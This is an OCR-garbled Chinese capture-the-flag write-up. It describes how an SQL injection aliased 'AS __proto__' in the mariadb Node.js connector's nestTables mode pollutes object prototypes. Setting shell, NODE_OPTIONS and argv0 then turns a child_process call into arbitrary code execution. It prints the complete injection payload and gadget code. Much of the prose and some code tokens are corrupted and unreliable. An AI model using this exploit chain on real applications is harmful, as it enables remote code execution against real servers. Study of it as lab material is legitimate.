EARLZE: /front/ BFRiRRA (TRE) , mariadb AfgmEUEE (RiE) , /cald FiREAS
k.

calc/index.js BARTRIE . iERE db [FHAT SELECT (expr) SEEUGTEERHABN /ret SHNHATT,

TR NBIHEASE: nestTables (BRIAJ false)

const pool = mariadb.createPool ({
host: 'db',
user: 'root',
password: 'root',
pipelining: true,

/* --> */ nestTables: true, /* <-- */
connectTimeout: 1000,
connectionLimit: 100,
multipleStatements: false

s

HYER B EIENEZE—HMUNGEERP, 4 select test_column from db.table_abc AY:

[ { table_abc: { test_column: 'content' } } ]

FEFEJEES /mariadb-corporation/lib/cmd/parser.js#L491 :

const row = {};

// ...
for (Tet i = 0; i < this._columnCount; i++) {

if (!row[this.tableHeader[i][0]]) row[this.tableHeader[i][0]] = {};
row[this.tableHeader[i][0]][this.tableHeader[i][1]] = // ......
/* NOTICE THIS AAAAAAAA */

TOfELEE #1268 &k, 2 nestTables [SRNXRSEEFEEM select FILERTE:

} else if (this.opts.nestTables === true) {
this.parseRow = this.parseRowNested;
for (Tet i = 0; i < this._columnCount; i++) {
this.tableHeader[i] = [this._columns[i].table(), this._columns[i].name()];

Rk, B—MAgE, JFRB\A _proto__ B, IBEBET row Bl {} HRE, ER/FEBIHESR,
RIIERR RS SELECT HRAIREZ _proto__ , MBNETRKRE (FHH) .

BRTIXERVEEERZ read-only, FoEXSERRRUREIUAITIR®(E, TRIEEE SELECT AS IXFHIEE,

SELECT 'any_value' AS any_variable FROM sys.sys_config AS any_table

MiXEREALIEHINGZ, BHTF 'any_value' AREFRFFAIEFRIR, FRLAERSX—INERE A
T, Al


https://github.com/mariadb-corporation/mariadb-connector-nodejs/blob/452d27894b36384ee0633218721ebeccc1c2eb94/lib/cmd/parser.js#L491
https://github.com/mariadb-corporation/mariadb-connector-nodejs/blob/452d27894b36384ee0633218721ebeccc1c2eb94/lib/cmd/parser.js#L268

{ '": { any_variable: 'any_value' } }

A FERZEIE—F select without from (&%) 5%, FERBINER mariadb FxA4:

SELECT “any_variable’ FROM (VALUES ('any_variable'), ('any_value')) AS any_table

{ any_table: { any_variable: 'any_variable' } }
{ any_table: { any_variable: 'any_value' } }

HIhiEEIRE. MERNE, EREIRSHIMET/REE FREETE, FA&ESH payload:
1), varl’, var2  FROM (VALUES ('varl','var2'),('123','456')) AS __proto__ -- #
XA EEZ calc/index.js HERLT— execFileSync fEMfitR s, E=iRiSRENEEREHIT:

try {

require('child_process').execFileSync('/readflag', null, { stdio: 'ignore',
env: null });
} catch(e) {

str = e.toString(Q);

fs.writeFilesync('./ret', JSON.stringify(str), 'utf-8');

FhR node FRERIAE options 3 KEmptyObject (/lib/child process.js#L285) , execFile FRELRIFTIE
T &FIENA options 24479 null 5 false AUFINT (#L336) , (ERRBWMEFREEZSEEHAILBLSH,

EEE #1635 &b, 53 options.shell BJUABMRSRIRRTHATIN; #L645 &k, 153 options.argv0
BILAE R argv0 BI cmdline; options.env 9 null T5i&#55, 1B #1672 M4 for BFSHRT { IR
B BERSRNTERRINEE, BIERIREEAR H 2T,

EEMEEEE NSRBI HI TSI E MR, RBE T4 nodejs, 8% NODE_OPTIONS FJLA
FIREN js i<,

HOSHUNTEE, BIAMEEARBHIT:

const a = {};

a.__proto__.shell = '"/usr/local/bin/node’;
a.__proto__.argv0 = '/* CODE HERE */ process.exit(0); //';
a.__proto__.NODE_OPTIONS = '--require /proc/self/cmdline’;

{BIttAFEZ! calc/index.js 27E execFileSync [ ABEREN /ret, HEBDMEE argv0 4045 /readflag BY
ZREN /ret BEWBE, TAEIEE.
RIAEIMEF docker NARABENTER watcher , MZRELRFE:

pid_t pid = 0;

void timer_handler(int pid) {
kiTT1(pid, SIGKILL);

}

int main(int argc, char**argv) {


https://modern-sql.com/use-case/select-without-from
https://github.com/nodejs/node/blob/91dbd8bb1ce75adaad8b281cdc0179a06abc7e40/lib/child_process.js#L285
https://github.com/nodejs/node/blob/91dbd8bb1ce75adaad8b281cdc0179a06abc7e40/lib/child_process.js#L336
https://github.com/nodejs/node/blob/91dbd8bb1ce75adaad8b281cdc0179a06abc7e40/lib/child_process.js#L635
https://github.com/nodejs/node/blob/91dbd8bb1ce75adaad8b281cdc0179a06abc7e40/lib/child_process.js#L645
https://github.com/nodejs/node/blob/91dbd8bb1ce75adaad8b281cdc0179a06abc7e40/lib/child_process.js#L672

remove(argv[0]);

signal (SIGALRM, timer_handler);

pid = fork(Q;

if (pid == 0) {
setgid(65534);
setuid(65534);
if (argc > 1) {

execvp(argv[l], argv+l);

}
return 0;

}

alarm(2);

int state;

waitpid(pid, &state, 0);

return 0;

FIRrE R TEERINSRFILZS R FHAZ (BD node) A9HAT.
IS ERENNEILEFER node index.js FUTEBRIRIS#H RIE, /ret IABHEHASHEES.
BN Jret [FFCIEFABIA], LA argv0 BIREAE:

require("fs").writeFileSync("./ret",require("child_process").execFileSync("/read
flag").tostring()); let i=1;while(i++)i--; process.exit(0); //

R payload:

1), shell , NODE_OPTIONS , argv0 FROM (VALUES ('shell', 'NODE_OPTIONS','argv0'),
('"/usr/local/bin/node','--require

/proc/self/cmdline', 'require("fs") .writeFileSsync("./ret",require("child_process"
) .execFileSync("/readflag").tostring()); let i=1;while(i++)i--;
process.exit(0);//')) AS __proto__ -- #



